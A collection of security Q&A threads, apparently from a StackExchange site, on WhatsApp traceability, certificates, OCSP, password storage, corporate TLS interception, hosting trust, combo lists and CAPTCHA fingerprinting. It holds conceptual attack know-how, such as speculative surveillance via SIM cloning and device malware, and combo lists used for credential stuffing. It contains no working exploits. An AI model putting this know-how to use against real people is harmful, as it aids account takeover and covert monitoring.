Is it possible to identify the source of message in whatsapp? Is it possible to identify the real source of message in whatsapp?

Scenario :

Texting whatsapp message to a group,one of the group member forwards it to another and it goes on atlast one day it reaches me again.

Questions :

Now as a end user, I can benefit my privacy since i believe the WhatsApp doesn't track down the source of the message,so it gives me a privacy option.

Now imagine as a government agency or any other independent researchers whom wish to track down the source of the message,
is it really possible to track down the source/origin of the message? Any research publications related to it?

Technically

The same thing repeats one user forwards the message to another,so the origin of message goes unidentified. So now if a need arises to track down the original sender or origin of message is it possible to track it down, if not why?

Warning: This answer is pure speculation. It is also hard to get references for covert programs, but I've linked to Wikipedia pages which have some good references. I've also stayed away from examining WhatsApp's implementation, as there are several other Security SE posts discussing various aspects of it.

I hope I have matched your scenario correctly in this hypothetical:

Consider a government agency in (hypothetically) India called the Massive Surveillance Bureau (MSB). The MSB has detected that certain WhatsApp messages containing false rumours were forwarded in a sensitive area, which eventually led to a riot. What would it take for the MSB to track down the sender of the first message?

Firstly, let's look at what the MSB minimally requires to be able to perform this tracking. The MSB would need three pieces of data for all messages:

A hash of the content,
Sender identifier
Timestamp

Even if it does not have access to plaintext, but can just has a hash of the content, it can still identify the first sender of a particular message (Note that changing even a single character breaks this scheme).

Next, let's consider all of the different places that the MSB can place itself.

Scenario 1: The MSB can read all carrier traffic and even ISP traffic in encrypted form. In this case, it cannot establish item 1 -- the hash. It could however use metadata like packet size, sender IP and timestamp to roughly estimate when a message was sent to one of Whatsapp's servers. Given enough ground-work (e.g. find first sender, confiscate and investigate device forensically, interrogate owner) a reasonable assumption could be made.

Scenario 2: The MSB can read all carrier traffic and even ISP traffic in India.
This could either be manually gathered by making requests to all carriers (like PRISM) or automatically by some sort of a monitoring system (like the CMS or Tempora). Since WhatsApp relies on the underlying carrier signal, a man-in-the-middle attack is possible, whereby the MSB clones and spoofs devices by receiving the first SMS authentication message (e.g. here). Now it has real plaintext data; it can find all messages similar to the target and lookup the first one.

Scenario 3: The MSB has a backdoor with read access to WhatsApp's stored messages in a database. This is very similar to scenario 1, since the keys are not available to it; it can makes estimates based on available metadata about sender, timestamp and message size. If it had a program like PRISM, WhatsApp could intentionally setup an insecure version of the app on certain devices, making it easier to perform other attacks.

Scenario 4: The MSB has infected all mobile devices in India with malware (e.g. IRRITANT HORN. This is similar to scenario 2. The MSB now has access to all decrypted messages on-device.

Anyways, that's all speculation. Most of these attacks will still be difficult now that WhatsApp has E2EE (desribed here, analyzed here). You may find this real traffic analysis paper from GeorgiaTech useful

EDIT: Yay!


Why do examples show creating a CSR from a private key? A TLS certificate is supposed to contain a copy of my public key, signed by a Certificate Authority.

But tutorials for creating a Certificate Signing Request show using a private key. Eg:

# generates a private key file
openssl genrsa -out domain.key 2048
# uses it to create a CSR
openssl req -key domain.key -new -out domain.csr

How can this work? I'm not giving my private key to the CA, right?

A CSR contains the public key as you correctly stated. But it is also signed by the private key as the proof that you actually own the public key in the CSR. This means that both the private key and public key is needed, i.e. the full key pair as generated by openssl genrsa.


Can I get 2FA for my private domain e-mail account? Is it possible to somehow get 2FA for my e-mail accounts even if they're hosted on custom / private domains? (e.g mymail@mycooldomain.com and not gmail)

It depends what email service you're using. I'm using Office 365 with my private domain name which does support MFA so I can enable it on my email account(s).


What are the security implications of phone based keyless entry systems? I have just been reading about Lockitron which promises to provide phone based keyless entry for the home. As great an idea as this sounds it strikes me that it could come along with some very serious security implications.

Their security page and FAQ  tackle some of these issues but not anywhere near as in depth as I would have hoped.

My initial concerns would be:

Ultimately I would be putting the key to my house in Lockitron's hands - with the added risk that these keys can be used remotely. If they were ever breached my house, and every other customer, could be too.
It would appear that Lockitron runs over Wi-Fi so there is a possibility that anyone on my Wi-Fi could gain access to the device. What if I share it with my neighbour?
If you took my phone (as, I imagine with many people's) it would be relatively simple to find out where I live.
My smart phone can have vulnerabilities that can allow it to be hacked

So, what other dangers are there and will a smartphone based keyless entry system ever be secure enough for the average person? I can see this working well in an apartment block with a concierge but can this ever be safe enough to put on an unguarded front door?

The biggest issue I find there is that your insurance company will not like Lockitron at all. So expect a price rise; or, quite plausibly, if your house is broken into and there is a Lockitron in place, then it will be used as an excuse to not cover your losses. Even if the burglar used the very old-fashioned entry method known as big-stone-through-window.

For availability, you should not rely on a Lockitron to allow entry, because:

Your Internet access might be down for some reason (including power outage).
Your phone might be inoperative (crashed, stolen, or even an empty battery...).
The Lockitron itself could be out of batteries (it is supposed to warn you in advance, but how reliable is this ? There is little available data).
The Lockitron company might go bankrupt at some point (not that I wish them so, but it happens).
The Lockitron servers could have some downtime.

So you should still have a physical, old style metal key in your pocket, if you want reasonable guarantees that you will be able to enter your home every night. Especially stormy nights, the kind of time when power or network outages are rather common, and you really do not want to spend the night without a roof over your head. The added value of Lockitron is not there (especially since a key is quite small compared to a smartphone); the potentially interesting part is in making it possible to remotely unlock the door. This is not a scenario which happens every day... which is a problem: if the device is not that useful, how will the company maintain financial buoyancy ?

Of course, Lockitron inherently obtains the power to open all locks. They promise that:

they are not evil;
they will not be hacked.

Both promises are somewhat empty, when you come down to it. Claiming "I am not evil" is what most evil people do; merely stating it does not inherently make it true (if you believe otherwise, and you are a US citizen, then rejoice! You will soon have an electorate choice between two non-evil candidates). For the non-hacking, well, it all depends on how competent the Lockitron people are, and also on a fair amount of luck.

And then there is the whole customization part. Lockitron says that the device can be extended in a whole lot of ways, with a rich API. When I read that, I think "exploitable security holes". The more complex a system is, the more probable security holes are. The device already does WiFi and Bluetooth, so it must contain a substantial amount of software. It might be not as hackable as your phone, but still...

On the positive side, Lockitron-like systems would be convenient for emergency services like firemen and medics (well, at least medics: a fireman's ax is remarkably effective at gaining entry almost everywhere). Assuming that they obtain a generic entry authorization, of course (which would itself be a security risk).


How to test TLS handshake process? I need to test the handshake process of TLS. I thought to use inter-process communication in Linux. Is it possible or not?

If not, what simulator could be used for this purpose?

If yes, what do I need to do to implement this on Linux? Do I need to implement client and server communication as in the real situation?
If I need to make Java app, how can that be done? What simulator or IDE can I use?

I don't know if this is the best channel to ask, however - this is how I do it.

Simple information:

openssl s_client -state -nbio -connect myhost:443

If you need a deeper insight, you may want to create a Java application (this part you may not like if you're not from Java world) which connects to the SSL socket and start it with the following parameter: -Djavax.net.debug=ssl

This will print / debug the SSL hasdshake and SSL related events. If you want to print out all network events, you can use the all value.


Can I assume that an empty user agent will always be a robot? I want to prevent robots flooding my website and I'm thinking about a ban in these cases...

Can I assume that an empty user agent will always be a robot?

Almost always, but not always. It could be a user behind a misconfigured proxy, or a browser extension, or (more likely) someone using telnet/netcat:

netcat server 80
GET / HTTP/1.0
<enter>
<enter>

And done.

You can ban users without User-Agent set, but it's dead easy to set one. curl, wget, aria2, python and almost every single command/library/framework out there will have an option to override the User-Agent string.

You'd better implement rate-limiting on sensible pages, captchas when the limit is reached, and ban after a number of captcha misses.


Best security practices for software development and release? I am trying to figure out a way to limit access and also to establish processes to avoid any and all of my team members to compromise our entire production system.

We have a team of 10 developers, 1 QA and 1 SA.

Our entire team has direct access to our entire production DB for development and for support. They also have access to all of our production web servers for the same reasons.

Our system is a high volume, critical system for 1000+ businesses across the U.S.

Team members need access to production DB to debug and correct problems with data.
SA and some team members have access to web servers to deploy/release new versions of code.

The common problems or risks:
Everyone in our organization can potentially:
- Simply wipe out the entire DB.
- Run stupid queries taking the system down.
- Corrupt data.
- Release new code at will.
- Have access to see full clients list.
- Have access to sensitive information.

Processes are not enough, I need to also be able to enforce it with technology, logging, auditing, etc.

So what I am looking for is:
- Common practices for the several scenarios.
- Ideas, tips and tools to help with this.

Thank you.

p.s Application is apache,php,mysql source control in git, on ubuntu servers 99% on owned and self managed hardware at a secure location.

Developers should never have direct access to the production environment. From an audit perspective this is a big no-no as this poses fraud  risks. Also if one developer makes a mistake he can take down your critical systems which could have a high impact on your business.

The best practice is to have 4 separate environments, Development, Testing, Acceptance and Production. Developers can have access to testing and in some cases to acceptance, but NEVER to production. This is called the DTAP principle:

  The program or component is developed on a Development system. This
  development environment might have no testing capabilities.
  Once the developer thinks it is ready, the product is copied to a
  Test environment, to verify it works as expected. This test
  environment is supposedly standardized and in close alignment with
  the target environment.
  If the test is successful, the product is copied to an Acceptance
  test environment. During the Acceptance test, the customer will test
  the product in this environment to verify whether it meets their
  expectations.
  If the customer accepts the product, it is deployed to a Production
  environment, making it available to all users of the system.

As said, if an auditor sees or even gets the slightest hint that a developer can get access to a production environment you will almost certainly get failed. If you want to perform audits, it's best done by an independent person/organisation. If you want to setup more processes and regulations have a look at the COBIT framework.

Make sure you define KPIs and SLAs  to have a form of power to enforce your regulations.


Slow down symetric encryption I'm developing a program in Java. In one step data should be encrypted and exported in a file.

As of now we are encrypting in AES-256

I want to slow down a possible brute force attack as much as possible.

The obvious answer would be to make the users choose long strong passwords. But can we also do something to slow down the algorithm?

My first idea is to run the plain text in a loop decrypting it with AES 2000 times. Any downside to this, besides it will take longer for the user to get the file?

I want to slow down a possible brute force attack as much as possible. The obvious answer would be to make the users choose long strong passwords. But can we also do something to slow down the algorithm?

As far as the resistance of AES to brute-forcing, it's just fine the way it is. Since it sounds like you're using user-input passwords to generate the key, you should do your key strengthening there by hashing the input key multiple times. See The AES Crypt implementation hashes a password 8192 times to generate the key. Is this necessary? for more info.


OCSP invalidation of intermediate CA using OCSP_SIGNING I'm implementing an OCSP server to answer OCSP requests for my custom CA.

I already implemented the invalidation of leaves certificates, with the intermediate CA certificate signing the OCSP response, and it seems to be working.

However, I have troubles implementing the OCSP response to invalidate a intermediate certificate. I believe this is a bad idea to use the root certificate to sign the OCSP response, therefore I was looking at the OCSP delegation of authority defined in RFC 6960. I have generated, using my root certificate, a certificate which I believe to be able to sign OCSP responses for OCSP requests about the other intermediate certificates :

Data:
    Version: 3 (0x2)
    ... //redacted
    X509v3 extensions:
        X509v3 Key Usage: critical
            CRL Sign
        X509v3 Basic Constraints: critical
            CA:FALSE

        OCSP No Check: critical

        X509v3 Extended Key Usage:
            OCSP Signing

Let's call this certificate X

However, when I challenge my OCSP server with a request, openssl gives me the following answer :

$ openssl ocsp -issuer /tmp/ca-root -cert /tmp/inter -text -url http://127.0.0.1:5000/1/ocsp-inter/
...
Response Verify Failure
139690508489984:error:27069076:OCSP routines:OCSP_basic_verify:signer certificate not found:crypto/ocsp/ocsp_vfy.c:40:
139690508489984:error:27069076:OCSP routines:OCSP_basic_verify:signer certificate not found:crypto/ocsp/ocsp_vfy.c:40:
/tmp/inter: ERROR: No Status found.

What am I missing ?
If I select the certificate X for the -issuer switch of openSSL it works, but it feels wrong.

I also had a look at the AIA extensions, and I'm unsure if the CA_ISSUER field should point to the root-ca, or to my certificate X

Thanks in advance helping me understand this

I happened to have some experience in implementing an OCSP responder.
You might see "signer certificate not found" error if you didn't add the OCSP signing certificate, X, into the BasicOCSPResponse.
BasicOCSPResponse ::= SEQUENCE {
  tbsResponseData          ResponseData,
  signatureAlgorithm       AlgorithmIdentifier,
  signature                BIT STRING,
  certs                [0] EXPLICIT SEQUENCE OF Certificate OPTIONAL }


Windows command line does not check for revoked certificates: How bad is it? I recently updated my D-link wifi dongle driver. However, I had to do this through the command line because Microsoft revoked the D-link certificates after a leak. The executable would simply not start, with an red UAC prompt blocking the executable. However, the executable ran just fine when I started it from an elevated command prompt.

This got me thinking: a hostile agent could use a revoked cert from a trusted source to disguise malware as a driver update and upload it to the source's website secretly. The user would download the driver, try to run it, fail, google why it fails and find the alternative method and an explanation about how Microsoft revoked the certificate. In turn, he would conclude that, since he downloaded the driver from a trusted source, it's a false positive and he woul use the alternative method, installing the malware willingly. Hell, I installed the driver without considering that this might be an issue, only afterwards internally justifying it after discussion with the Super User chatroom and a Virustotal scan.

This might sound a bit conspiratorial, but I don't see this as an impossibility. Or am I mistaken in that?

I highly doubt the terminal is looking for revoked certificates. Which I imagine isn't a job of the terminal itself but UAC. But I can say this is expected behavior. You elevated the permissions of the terminal as admin. And it will run everything as admin by design. This includes elevating the child processes.

As far as bad it is no different then tricking someone into running an executable. For example someone could need help in a support form. And a malicious user could post a file with instructions to run it via an administrative terminal. The only things stopping the attack is if the prospective victim is smart enough not to do it. Or don't want to deal with the terminal. Chances are, if they are going to fall for it, the attacker is better off talking them into bypassing this through the UI anyways.

Changing this default behavior just isn't going to happen. Otherwise this would interrupt silent batch/shell jobs that rely on child/external processes. So if such a thing was to be patched you would need to give them a way to bypass the UAC. And a hacker would have the exact same access to that bypass method just adding another step of complication for a moot cause. Not only that, but what if the file wasn't malicious at all and you absolutely needed some way to run it.

Ultimately you had to elevate the the privileges to admin to make this work. You willingly did this with no automation and a prompt explaining what this elevation was going to do. Doing so you made your choice to waive any protection beyond this point.


How to secure sensitive information on cloud from administrator (end-to-end encryption) When I use end-to-end encryption to secure documents and sensitive information on cloud or on computer, there is always a risk of accessing these information by administrator.

For example if you use Truecrypt to save a secure container in cloud or Boxcryptor or Tresorit to encrypt files in cloud provider (or anythink like that) you have mounted virtual disk when you can access and read/write files.

When you are working on a computer managed by domain policies, administrator is able to mount the virtual disk and see what is inside. Or administrator is able to switch user and see the virtual disk in readable form.

Is there any way how to avoid it? I would like to have completely secure workspace so no one can read my passwords or sensitive information when I use it on computer.

When I use end-to-end encryption and administrator is able to read my sensitive information that are mapped as a virtual disk then it doesn't make sense for me anymore. Do I have any solution for such situation as a user?

If you are a user of a system and other people have administrative access then, realistically there is little, if anything, that you can do to stop them gaining access to the information you process on that machine.

They are likely to have the power to install software on the machine, so could (theoretically) install key loggers or other types of software which monitors your activities and gives access to data you process on the system.  This, of course, is not to say that any company will actually do this, just that they can, and when you're considering the security of your personal information, you need to assume they will.

From their perspective, this kind of access may well be necessary for them to ensure the security of the device and ensure that it is not being mis-used.

If you have information that you want to access or use without that risk, then you need to have a system that only you are the administrator of.  So in a work scenario, use a personal smartphone, tablet or laptop to work on the items that you don't want to be visible to your employers.


Web servers with different risk models in same network This question comes from a security aspect rather than a routing/network aspect (which is why I chose here instead of server fault).

We are creating a network architecture and have 2 webservers. One of the web servers has access to a very sensitive database (in the "database layer") with an entirely different risk assessment. On a scale of 1-10, this data is a 7. The other web server has meaningless data, a 2/10.

An associate of mine believes that because both are web servers, and because they both allow port 443,80, they should be placed in the same network. They believe that if we set a policy (web servers in insecure zone), all web servers that meet this "policy" should be placed in the same network. I don't agree with this approach. We have tons of address space so why not throw the meaningless web server and its database in a separate network? I understand it is important to define a model for your architecture, i.e. "insecure network","database layer", application layer". But I challenge that just because two servers are a web server, does not necessarily mean they should be in contact with each other. Sure we could implement host based firewall and clever routing, but WHY... I'm worried that if a breach does happen to the meaningless web server, the attacker could, theoretically, obtain access to the very sensitive web server.

I'm not looking for who is right, because I see both sides.

My question is that if two servers are running the same software (web server), should they be placed in the same network, given that they require access to information that is on different (for lack of a better term) threat levels?

Isolation is never bad. In a very generic overview sense, imagine a submarine. They are designed with the knowledge chances are stuff is gonna blow up in, on or near them. That is why they are compartmentalized allowing a ruptured hull to only floor 1/16 of the submarine. Not coincidentally, submarines are also pretty good at not sinking (and staying sunk).

Presumably your two web servers have different remote desktop (or telnet or SSH your choice) credentials and if they don't, that's already a major issue. Generally, a web server containing 7/10 level secret data (I am going to assume at least quite personal info if not financial or tax related or health info) the password for that machine might be much better thought out, for example, a 16 character crpyto-randomly generated password. At least that is what I might do. Alternatively, my 2/10 secrecy web server might have a easy to remember password cause well, we are humans and lazy. For example, maybe username is admin and password is adminCompanyNameSecret. Still not easy to guess, but much more predictable than a crypto-random password.

I hope you see where I am going here. Naturally as administrators, we will practice more relaxed security precautions on servers that are of a lower value target. The issue is as I am sure you know and realize, once an attacker can get on server A, getting to server B (secure server) on the same network will be much easier than getting into server B from off network.

Therefore there is nothing wrong with keeping both servers on the same network and as you said, it might make sense from an architecture standpoint, but if you do you must do the following:

Treat BOTH the 2/10 and 7/10 secrecy servers as if they were 7/10 secrecy servers. Ensure both are completely up to date on all OS updates, follow good practice with physical access and security, crypto-random passwords and unique usernames. Ensure only a limited few know the passwords etc. If you follow this, you are just as safe as you isolated the two servers. If you treat the 2/10 as a 2/10 secrecy server, you pretty much just degraded the value of the data in the other server to 2/10 as well.


Looking for an open risk assessment methodology I'm looking for a fully open quantitative risk assessment methodology.

Most of the methodologies have usage or licensing restrictions placed upon them.

I define open as methodology covered by something equivalent to the Creative Commons CC BY or CC BY-SA licenses.

I've looked ar FAIR, OCTAVE, CRAMM and a few others all of which have restrictive licenses.

My first recommendation for what you're looking for would be SOMAP. Their website claims open source, but I'm not sure it meets your needs entirely.

This question is similar to this other question, but I'll let you decide if anything is of value there.

In the government domain, the National Standards Institute of Technology (NIST) has special publication 800-37, which was originally taken from the FITSAF standard on risk assessments, so it's worth mention.

The book, "Information Security Management Handbook, Sixth Edition", explains that security risk assessments are usually based on a value chain model. Another book, How to Complete a Risk Assessment in 5 Days Or Less, covers the author's FRAAP process. There are a few books coming out very soon that look to answer your question best. One is from Syngress Press and by author Evan Wheeler. Another, by Douglas Landoll, is in its second edition. A recent book from Andrew A. Vladimirov came out, but I have not yet read it.


Has the hard drive been accessed or computer hacked? How do I find out if someone who had access to my laptop, accessed the
   hard drive manually (by taking it out of the laptop and copying or
   viewing the data)?

I know there is the Windows audit policy for actual log-ins, is that reliable to know if someone accessed your hard drive without
   removing it?

There are some ways to detect tampering, you'd want to apply a tamper evident sticker on the computer case or drive's port. It's not fool proof, but it'll make tampering without getting detected a lot more tricky.

It's easiest to apply the sticker on the case. Although you may want to also apply the sticker on the cable ports, on the motherboard side and the drive side, if you can find a sticker that's small enough for it and sticks to the surface of the connectors.

Best way to prevent unauthorized copying though, is to encrypt the drive. They'll still be able to copy the data, but without the decryption key, the copied data is useless.


Keeping a user's passwords, but can't hash them I'm making a web application to provide intermediary service for customers to facilitate their interaction with a set of other web applications.

A simplified example would be to let a user access his emails from my site. For this I will need his email and his email's password. To prevent the user from needing to retype his password every time, I would like to store this. Of course, customers would not feel safe if I was storing their passwords in plain text. But I can't store it as a hash, as I need to resubmit this password every time the user uses my service.

I thought about storing his password on his computer, and getting the web page to send it to me. I don't think that would make them feel safer though.

An alternative I thought of would be to store these passwords in plain text in a separate, individual database for each user, that only that particular user has permission to read after he has logged on to my website using his credentials for my service. Again, I don't feel right storing his password like this but if the permissions are set right, only one customers details can be compromised (if his log ins for my site are compromised).

I would like suggestions about the safest way to approach this.

There is an interesting point in your question:

  I thought about storing his password on his computer, and getting the web page to send it to me. I don't think that would make them feel safer though.

Do you want the users to be safe, or to feel safe ? That's not the same thing.

If you store the password on your server, you become responsible for it. There are some tricks which can be used to reduce the risks of leakage, but risks will still exist. For instance, if you store the emails in encrypted form in the database, then the server software will have to decrypt them before usage, so the server must know the decryption key, but that key needs not be known to the database; it could be stored in a file, and decryption done on the server (not with SQL-based cryptographic abilities offered by the database). This may provide some protection against SQL injection attacks. It is a delicate dance: if the server can access the stored passwords alone, then dumping the whole server contents (e.g. a complete hard disk image) must grant access as well; any encryption key must be there. Encryption, in that case, is a bet on the idea that attacks will be partial: an attacker will dump the database contents, not the whole disk.

A better system may look like this:

For each user u, a random symmetric key Ku is generated.
The email password for user u is encrypted with Ku; that's what is stored on the server.
Ku is NOT stored on the server, but on the client.
Upon connection, Ku is sent from the client to the server. The server uses it to recover the email password, in RAM only; the decrypted password, and Ku, are never written to files or database.

Storage of a client-specific secret value on the client, sent back to the server: that's a HTTP cookie. Be sure to mark it Secure and HttpOnly, and to use HTTPS for all the connections.

With that system:

The emailing password is not stored on the client system, and thus won't be put at risk when the user's smartphone is stolen.
The server's permanent storage (files, database) does not allow password recovery. An attacker who steals the whole system (he grabs the machines and makes a run for it) will not be able to obtain the passwords, regardless of how much computing power he dedicates to the tasks (assuming that the encryption was done properly, of course)(this contrasts with password hashing, where weak passwords can still be cracked, at a cost).

However:

If your server is hijacked "silently", then the attacker will be able to observe the passwords when put to use. This is unavoidable in your system. The only way to avoid that would be a ticketing system à la Kerberos, used by the email server and the client system, your server being a simple relay for the Kerberos ticket; but normal email server don't do Kerberos, and neither do client systems (in particular when the "client" is some Javascript in a Web page).
If the user loses his cookies (e.g. he switches from his phone to his desktop computer, and has no syncing system between the two), then Ku is lost and the user must re-enter his email password.

The latter point is, again, inherent. If your server does not store enough data to recover the email password without the user's help, then... the server cannot recover the email password without the user's help. If the user is also helpless, then the data is lost.


A workplace installs custom certificates on personal devices, can this be used to decrypt HTTPS traffic? So another engineer buddy of mine and I were having a drink the other night. He mentioned that you're allowed to use personal devices on the office wifi, but that they install a custom certificate so they can MITM your traffic.

Neither of us are security experts, but I know a little bit about the HTTP/TLS handshake protocol to question whether this is the case.

As far as I understand it (please forgive me if I butcher it):

Client-Server initiate handshake, and exchange certificate from signing authority + public key + random string.
Public key is used to decrypt a random string of characters, which is fed into a hashing algorithm and reveals a private key.
Private key is used to decrypt the traffic that follows

We were reading this article, about how companies sometimes install certificates to decrypt outgoing traffic.

If the blog-post case is true, then how does this work? Would they get the private key using their trusted-root all uses certificate? Assuming that works, that covers the windows use-case, but what about other platforms like OSX/iOS, linux, BSD etc.?

Are there other approaches that I'm not considering, where a certificate install could be used to MitM?

Yes, they can MitM the traffic this way, using an internal certificate authority. There are two primary ways in which the MitM can work.

The first is to simply turn the edge gateway into a proxy, whereby TLS connections are made from the gateway to the server, and the gateway then generates server certificates on the fly from an internal CA in order to impersonate the remote server. Your system trusts the CA, so it trusts the server certificate.

The second is a slightly different take on the first. The gateway proxies the traffic similarly to the first method, except it only advertises static RSA cipher suites to the remote server. The reason for doing this is performance. With a static RSA key exchange (i.e. not Diffie-Hellman) the gateway can split the handshake as before in order to provide the client with a certificate generated via the internal CA, but instead of decrypting the content on the gateway and then re-encrypting it before proxying, it simply passes the same session key between the client and server. This way the gateway only has to decrypt the traffic once, using the captured session key, and never needs to re-encrypt it in order to proxy the traffic between client and server. This trick no longer works in TLS 1.3 as static RSA key exchange was removed.

Generally speaking this kind of TLS inspection is fairly commonplace in large organisations, particularly financials. Deploying it on BYOD devices is somewhat common, although you should consider the privacy and security implications that might arise from installing your company's internal CA certificate on your device. You need to ask yourself whether you trust that your IT security team is likely to be able to protect the signing keys, because if not then your device is liable to be MitM'ed by an attacker.


What identifiable variables can be collected via server/client connection logs( wireless AP's) to uniquely identify a device across networks? For instance, the MAC address is one variable that stays the same across networks, along with Hostname, Operating System, and the combination of open ports/services. Ignoring browser specific identifiers, just the max that a wireless AP would be able to log, what else is there?

MAC address can be changed in software. Hostnames can also be changed in software. If the host runs multi-boot OS's, then the OS details, ports/services, and even the characteristics of how the machine uses WiFi will change.

There has been research into the unique qualities of WiFi radio transmitters, but you need special equipment.

If you own and control the networks you could issue client certificates and that makes it possible to track devices in a way that users cannot interfere with.


Where are passwords hashed? The way I understand password security is that the user enters a password, which is then converted using a hash function. The website then compares it to the stored hash to see if it is correct.

That way only the hash is stored, so if an attacker learns that they don't have the original password.  Where exactly is it converted to a hash? If it is done clientside, I would expect that an

attacker who knows the hash could modify clientside code to send that directly to the server.

But if done serverside, then the plaintext password has to be sent across the network,

which seems like it is a security problem if an attacker is able to listen to the connection.

Which of these methods is used, and how are the potential security flaws addressed?

Yes, your first answer is correct -- if done client-side, you've then its essentially the hash of the password is the password.

The usual practice is to do it serverside via HTTPS.  Yes, people on the server side can in principle see your password, but they also have full access to all the data your password can see/change.  This is a very good reason to never re-use passwords at different sites and to use a random passwords for each site kept in an encrypted password manager (like keepass).

Note there is a third option, the Secure Remote Password Protocol which is more complicated, but prevents both of the attacks described above.  It requires both client-side and server-side hashing and uses modular exponentiation (similar to a diffie-hellman key exchange).  Granted, at the moment the SRP is not widely used as it isn't built into webbrowsers yet (and doing it in JS allows a straightforward attack from the server-side by changing the JS to something that sends the password in plaintext from the browser).


Is it better to use an unsuitable hashing algorithm instead of none at all? I have to store passwords on a system which doesn't offer any of the algorithms recommended for hashing passwords (e.g. bcrypt, scrypt or PBKDF2). Would it be better to use an unsuitable algorithm (e.g. SHA-1 or SHA-2 family) before using none?

Additional Information: I will be the only one storing passwords on that system, so I can 1) guarantee that none of the passwords will be used twice and 2) ensure that the passwords will have a very high entropy.

The real answer to your question is simply do not store the passwords there if you cannot properly protect them.

"The system does not support proper password hashing algorithms" is not a valid excuse to compromise the security of your users. Either find a way to properly hash passwords using a strong and properly configured algorithm or do not store them.

But to provide a direct answer to your question: yes, something is better than nothing. SHA-1 or SHA-2 is definitely an improvement over plaintext.

To answer the "then where should the passwords go?" question - Based on the phrasing I am assuming there is a new feature/request for the software that requires the system to store passwords.

If the system cannot properly and securely store passwords (by modern security standards) then I (personally) would reject the request. Intentionally practicing poor security because of legacy system constraints or to appease a  business use case is bad security practice. I would inform whoever made the request that I have two viable options:

We have to completely overhaul the system to one that supports modern security practices (such as proper cryptographic password hashing).
I simply cannot add the new feature/request to the existing system for it would compromise security.


In a User Roles table is it better to identify users with an ID or username? I want to create a user roles SQL table which stores information about users permissions and roles (Such as Admin, Worker, User)

I need 2 columns in the table one which identifies which user it is and the other is the level of permission the user has.

I was wondering, Is there any security concerns identifying users with their Username rather than their ID #. It would be a lot easier to manage user permissions with usernames and I'm willing to lose a bit of security if its not that bad.

Notes:

My user table and user roles table are in the same database
My user table has a ID column and a Username column

This isn't a security issue, it's a data management issue.

Usernames can, and do change.  That's why you use a meaningless identifier and foreign key relationship to ensure database integrity when you have a role table.

Any UI that adds or manages roles should hide the complexity of the ID vs the username inside it.


How to prevent a hosting company from accessing a VM's encryption keys? I want to prevent potential theft of my web application (source code + database) by my local hosting company, that I don't fully trust for some reason (but have no other choice but to use as they give, by far, the best latency over here).

I'm planning to encrypt a partition with cryptsetup, and store the web directory + database files there.

The only issue is that I'll have to unlock the partition on every reboot (even uncontrolled ones), before I can start the web & database servers; but I guess I'm ready to live with that for now.

However, as far as I can read all over the web, encryption keys are stored as is in memory, and can be read given physical access to the machine, even from a dedicated machine using cold boot attacks. On a VM, I guess this is even simpler, as the hypervisor can take a snapshot of the whole server state (storage + RAM).

So as far as I can tell, it should be pretty easy to take a memory dump, and locate the encryption key at any time.

Is there any way to prevent this?

I know that controlling the hypervisor gives a huge advantage to someone attempting to steal data, and as such I'm not looking for a perfect solution here; but I'm rather trying to make it as hard as possible to get access to the data, so that it would not be economically viable to spend time & resources to get them.

I'm not really optimistic here, as encryption keys must be stored in some form in memory for decrypting, but I hope I missed something.

Edit - clarification

From my comment below:

I'm sure the hosting company's hypervisors are not modified in any way to perform any malicious operation; their business is hosting, not stealing things, and the company is relatively trustworthy. What I'm trying to protected against is someone bribing an employee to sell them a snapshot of the data. As long as the encryption key cannot be recovered from any snapshot the stock hypervisor can do, I consider the solution good enough for my use case.

You can't, plain and simple. If you don't trust the hosting company, you don't host with them. This is law #3 from 10 immutable law of security:

  Law #3: If a bad guy has unrestricted physical access to your computer, it's not your computer anymore.

The hypervisor always have privileged position over your virtualised machine, you can't protect yourself from rogue hypervisor.

One way you can do to benefit from their network location but still keeping your code secure is to do a colocation hosting. In a colocation hosting, you bring your own machine that you put in someone else's datacenter.

Basic colocation itself should discourage most opportunistic attackers, but a targeted/determined attacker might connect into your machine anyway. If this is a concern for you, you should put your machine in a tamper-evident/tamper-proof server casing, so that the only unlocked port to the outside world is the power cable and network cable, and you encrypt all network traffic going into/out of the machine. This way you can put your machine in their network and benefit from the network's low latency, and they won't be able to steal data from your server unless they break the server's chassis.

If protecting your data is very important, you would also want to do a regular audit that the case hasn't been tampered with. If you have infinite budget, it may also be possible to design tamper proof chassis that have various sensors that can raise an alarm and initiate shutdown (discarding all sensitive/encryption keys) if they detect that the chassis had been tampered with, but of course these gets expensive really quickly.


What exactly is a "Combo List", and why is this site providing them for free? After asking for e-mail lists the other day, I got linked to this: https://combo-list.com/
This is a very strange "blog" which appears to be regularly publishing (or linking to, rather) lists of e-mail addresses which have supposedly been leaked in data breaches. I have no interest in the passwords, but it seems to also include those. I'm not sure if those are really the passwords to the e-mail accounts, or passwords for something else entirely.
My interest in this has nothing to do with using somebody else's e-mail account.
They don't mention what a "combo list" is, and I cannot figure this out from searching or thinking. It seems like the blog assumes that everyone knows what it is.
I also thought it was a fake site at first, but eventually did manage to download a list, and it appears real. But then again, who knows what kind of information really is in those lists?
I basically wonder why anyone would run such a site, and regularly update it. Why would they give out this info to the public like this? What's in it for them? Why would they want more spammers to send e-mails to these victims of data breaches?

Combo is short for combination, so combo lists are lists containing combinations of usernames/emails and passwords.
They are used for bruteforce attacks. The benefit compared to separate username and password lists is that combo lists are expected to contain a higher likelihood of success.
They may eg stem from data leaks or previous successful bruteforce attacks. The idea is that they (used to) work on some websites, and because users reuse passwords, they may work on other sites as well.

Why would they give out this info to the public like this? What's in it for them?

Why do people share anything with others? Fame, recognition, helpfulness, money (via ads), boredom?

Why would they want more spammers to send e-mails to these victims of data breaches?

It's not so much about spamming (lists of email addresses would be enough for that), but about gaining access to other users accounts. Eg to gain free stuff (say a netflix account) or for more nefarious purposes (stealing money, credit cards, etc).


Can CAPTCHA-solving patterns be used to track/identify a person? Captchas are everywhere. Suppose you're a big company offering Captchas on many sites and you can easily track a user across the web simply by setting a cookie everytime some site loads your captcha engine.

But apart from that, I am wondering if it might even be possible to identify a person by analyzing the way they solve a Captcha.

I am pretty sure that Google's image-based reCaptcha actually analyzes the tiny movements of the cursor while the user is clicking the tiles, how long they take to click adjacent tiles, how the mouse then moves to the "confirm" button etc. On repeated times, I found that solving a Captcha too fast and efficiently will result in me being prompted by more and more Captchas. However, if I play dumb, linger over the tiles and move my mouse a bit randomly like my grandma would, the Captcha gets accepted after the first try. (Which is extremely annoying, by the way.)

So, if we go a step further, it might even be plausible that each person has their own unique characteristics to the way they move their mouse, look at pictures, click fast or slow. Let's call it a cursor fingerprint. By feeding this into a neural network, could it be possible to identify a person?

